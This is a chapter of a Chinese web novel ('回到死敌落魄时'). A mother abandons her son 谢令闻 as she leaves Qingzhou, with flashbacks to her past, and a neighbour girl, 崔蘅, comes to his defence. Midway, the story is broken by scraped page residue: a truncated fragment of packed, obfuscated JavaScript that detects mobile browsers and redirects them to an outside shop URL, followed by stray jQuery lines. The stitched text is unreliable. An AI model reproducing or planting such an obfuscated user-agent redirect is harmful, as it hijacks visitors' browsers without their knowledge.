13. 母子

作品:《回到死敌落魄时(重生)

    清晨未明,雾气正浓,街上小食的气味与桂花清香混合在晨雾中,让整条街变得温暖而清凉。


    城门处不知为何堵塞了很久,排了很长一段队伍。


    谢秋娘掀起帘子往外看了一眼,见前方人没有往前动的意思,不耐烦地皱起眉。


    商人歪倒在车中,鼾声震天,肥胖的身体几乎要撑满车厢,只当甩手掌柜。


    谢秋娘拿出些银子递给车夫,“你去前头瞧瞧发生了何事,把这些银子给军爷们换酒喝打打牙祭,问问能否让咱们先过去。”


    她迫不及待地想走出这座困她半辈子的青州城,半盏茶的时间也不愿多待。


    车夫领命而去,谢秋娘正要放下帘子,却见街那端站着个影影绰绰的人。


    一袭被雾气打湿半边的灰扑扑长衫,眉眼似融在雾中,模模糊糊只能看清他那双黑漆漆的眼睛。


    正是她那讨债鬼儿子。


    谢秋娘被那双黑瞳盯的心里发慌,撇过头放下帘子,把晨雾与喧嚣的人声全都隔绝在外。


    她饮了口热茶,暖流顺着喉管蔓延向四肢百骸,心中才稍稍安定一些。


    看着釉色清淡的茶杯,谢秋娘想起那个与谢令闻有七分像的男人。


    他爱笑,总是眉眼弯弯地唤她阿秋,会攒很长时间的钱给她买时兴的首饰,还会在她生气时扯着她的衣袖小声道歉。


    他每日省吃俭用,一年四季只两件衣裳轮着穿,就为攒钱娶她。


    他说自己定会考中进士,风风光光地迎她进门,可他考了一年又一年,年年名落孙山,连举人都没能考上。


    谢秋娘不想嫁给一个穷书生过和幼年时一般苦哈哈的日子,再真挚的感情也会被柴米油盐一点点磋磨的消失殆尽。


    她笑着说我等你,转头便爬上了家中小主人的床。


    他知道后只是沉默,而后问:“我离你远一些,是不是对你更好?”


    谢秋娘已经忘了自己当时说的什么,只记得他当夜便离开了上京,银钱全托人留给了她,自己什么也没带。


    她用那些银钱给自己置办了些新首饰,郎君已经允诺纳她为妾,没有些像样的物件打点,怕会被旁人瞧低了去。


    谢秋娘幻想着以后当上主子的模样,以为自己已经高枕无忧时,又骇然地发现自己有孕了,算算日子,是他的。


    镇静下来后,谢秋娘决定放手一搏,谎称这孩子是主人家的,可老天无眼,她还没来得及公布这则喜讯,噩耗便先一步来了。


    ——承诺纳她的郎君死在了花柳巷。


    她所在的府邸不算什么大户人家,家主也只是一五品小官,府中妻妾众多,子嗣自然也多。


    谢秋娘勾搭上的这个不受宠,也不干正事,只管花天酒地,是人人都嫌的一个。


    无人在意他的死活,只气他败坏了家中名声。


    谢秋娘原本还想装装样子嚎上几嗓子,可一看见那副泛着乌青色的肥胖尸体,胃里便忍不住一阵翻江倒海。


    被逐出府时,她勒紧了肚子,生怕被发现有孕走不了。


    她在上京流连很多日,只为打听书生的消息,好不容易找到他昔日好友,只听得几个字:


    “他死了,就上个月十五。”


    是她坦白自己要做他人妾的后一日。


    “哦。”


    谢秋娘没多问,转身走了。


    她害怕啊,若这男人因她死的该怎么办?她活得已经很艰难,人命那么重,她背不动的。


    谢秋娘去抓了副堕胎药,一碗灌下去,她疼的死去活来,肚子里的玩意儿却毫发无伤。


    她舍不得再抓第二次药,一一试过堕胎的土方子,可这孽障依旧安安稳稳地活在她肚子里。


    索性生下来再掐死,谢秋娘气得发狂。


    这个孩子很乖,在肚子里时安安静静,生他时也很快,谢秋娘没遭什么罪。


    看着儿子肖似书生的小脸,谢秋娘不知道心头是什么滋味。


    她刻意避开从前的事,不在意街坊编排她,也不在意谁家过得好,只关起门来安心抚育孩子。


    和她曾有过婚约的张顺家中富裕,想娶她做续弦,不嫌弃谢令闻,愿意拿他当亲子。


    盼望的安稳日子终于来了,谢秋娘很满足。


    直到张顺也死了。


    老天爷再次让她美梦破碎。


    谢秋娘在屋子里枯坐了一夜,哭到无泪可流。


    天蒙蒙亮时,自门缝投进一道细长的人影,影子摇摇晃晃延伸至她脚下,似是来索命的厉鬼,想抓住她的脚踝将她拖入无间地狱。


    谢秋娘失声尖叫起来,下一瞬,门被打开,刚比门槛高的孩子捧着碗,晃着身子跨进门,逐渐逼近她。


    “阿娘,吃饭。”


    那双盛着她整个人的黑色眸子,像极了故人。


    谢秋娘依旧记得他走之前,用与谢令闻如出一辙的眼睛盯着她,凄哀地问:“阿秋,你爱过我吗?”


    她说爱过,他便信了。


    他向来很傻,不管她说什么都坚信不疑。


    只有分道扬镳时,谢秋娘向他吐露了真言,告诉他自己不想过苦日子,想吃好穿好住好,想锦绣罗衣,仆从成群。而他,太无用了。


    她最知道怎么拿捏人心,将原委推到对方身上,让自己不沾半点灰尘。


    “人不为己,天诛地灭。”谢秋娘将茶杯放下,喃喃自语,“自己的命合该自己闯出来,我们母子谁都不要拖累谁。”


    城门前的队伍动了,马车慢慢驶动,穿过薄雾与人群,消失在谢令闻眼前。


    不知道站了多久,直到太阳驱散雾气,身上的衣衫被晒得灼人,他才收慢慢回目光,转身朝回走。


    谢令闻不知道自己要朝何方去,只是下意识朝前走,脑子里一片混沌,周围的一切都似与他隔了层罩子,听不清,也看不真切。


    “谢哥哥!”


    混沌被这嘹亮的一嗓劈开,谢令闻有些迟钝地抬起眼,看见崔蘅手里举着一个包子朝着他笑,眼睛被笑意染得一片透亮。


    谢令闻停住脚,小娘子便朝他跑过来,鬓边的发丝沾了几缕在颊侧,刚好触到她的梨涡,似嫩柳拂溪,荡出一圈涟漪。


    “谢哥哥,你也是来吃早食的吗?”崔蘅晃了晃手里的大包子,“今天宋叔家的包子好咸,我们一起去喝豆饧吧。”


    谢令闻缓缓摇了摇头,便抬脚略过她走了。


    “谢哥哥?”


    崔蘅在他身后喊了几声,谢令闻始终像没听到一般,独自消失在人群中。


    “阿蘅,看什么呢?”买好光烧饼回来的崔显见女儿自己傻站着,牵着她在一旁的豆饧铺子边坐下。


    “方才我碰到谢哥哥了。”


    “令闻?他上街做什么?”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655829|188271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >崔蘅摇了摇头,眉眼间浮上些担忧,“我觉得谢哥哥有些不对劲。”


    “昨日还好好的,应没什么大事。”崔显把刚端上来的豆饧推到她面前,宽慰道,“待会吃完早食你顺路去看看就是。”


    崔蘅点了点头,三下五除二地吞掉包子和豆饧,送走阿爹后,揣上买给阿娘的烧饼,一个人赶忙朝家去。


    她特地绕到后门,想顺路先看一眼谢令闻,走到巷子口时,碰到几位还算熟识的婶娘正靠着院墙唠嗑。


    崔蘅一一打过招呼,婶娘们没怎么搭理她,转头便又凑到一起嘀咕。


    “昨夜我亲眼见她折腾许久,把东西全搬上了一架足有四尺宽的马车,天不亮就走了!”


    “你瞧错了吧,我方才还见谢家小子从外头回去。”


    “她谢秋娘化成灰我也认得!”


    住崔家隔壁的周氏压低声音道,“她啊,定是扔下儿子,自己跟男人跑了!”


    其他几个女人脸色各异。


    “她也真是狠心,儿子说不要就不要了。”


    “人家去过好日子了,儿子算什么,以后又不是不能生了。”


    “也是,一个野种……”


    女人话音未落,便自后飞来一块小石子,砸在她腰间。


    众人偏头望去,看见崔蘅像头怒气冲冲的小兕子一般瞧着她们,仿佛下一刻便要撞过来。


    “不许说谢哥哥!”


    她狠狠瞪了一眼,转身朝谢家跑去。


    众人不敢得罪崔家,讪讪地道:“从前不见这孩子如此野蛮,定是这几日和谢家小子待一起久了。”


    崔蘅没有搭理她们,她只想赶紧去找谢令闻。


    一个孩子忽然被母亲抛弃,崔蘅不敢想,他该有多难过。


    “谢哥哥!”


    崔蘅敲响谢家的门,“谢哥哥,你在吗?我是阿蘅!”


    小娘子急切的声音朦朦胧胧传进昏暗的屋子里,坐在饭桌前的谢令闻缓缓掀起眼睫,暗色的瞳孔蒙着一层灰翳,如一潭死水。


    “谢哥哥,谢哥哥……”


    她还在门外坚持不懈地敲门,仿佛只要他不开门,她就会在外面敲一辈子。


    崔蘅急得团团转,扒着门缝正往里瞧时,门忽然开了,她猛然失去支力,朝前栽过去。


    眼看着脸就要与大地亲密接触,崔蘅感觉自己脖子一勒,整个人就被提了起来。


    谢令闻看她站稳后,立马松开拽着她后衣领的手。


    小娘子心有余悸地拍了拍胸口,朝他笑开:“谢哥哥,我来找你玩。”


    她闭口不提方才听到的事。


    “没空。”谢令闻冷淡地开口。


    崔蘅眨了眨眼,站着没动,“那谢哥哥什么时候有空呀?”


    “不知。”


    谢令闻的手扶住门,目光冷冷地落在她身上。


    是逐客的意思。


    “好吧,那谢哥哥先忙吧,我走了。”崔蘅有些失落地耷拉下脑袋,转身朝外走,整个人瞧着都蔫巴了。


    谢令闻目送她离开,视野忽然越来越模糊,天地开始旋转颠倒,呼吸也变得困难起来。


    他抿紧唇,趁着还剩最后一丝意识将门关上。


    “哐当——!”


    “谢哥哥同意我进去了?”


    崔蘅惊喜地朝后望去,倏然间,瞳孔紧缩,“……谢哥哥!”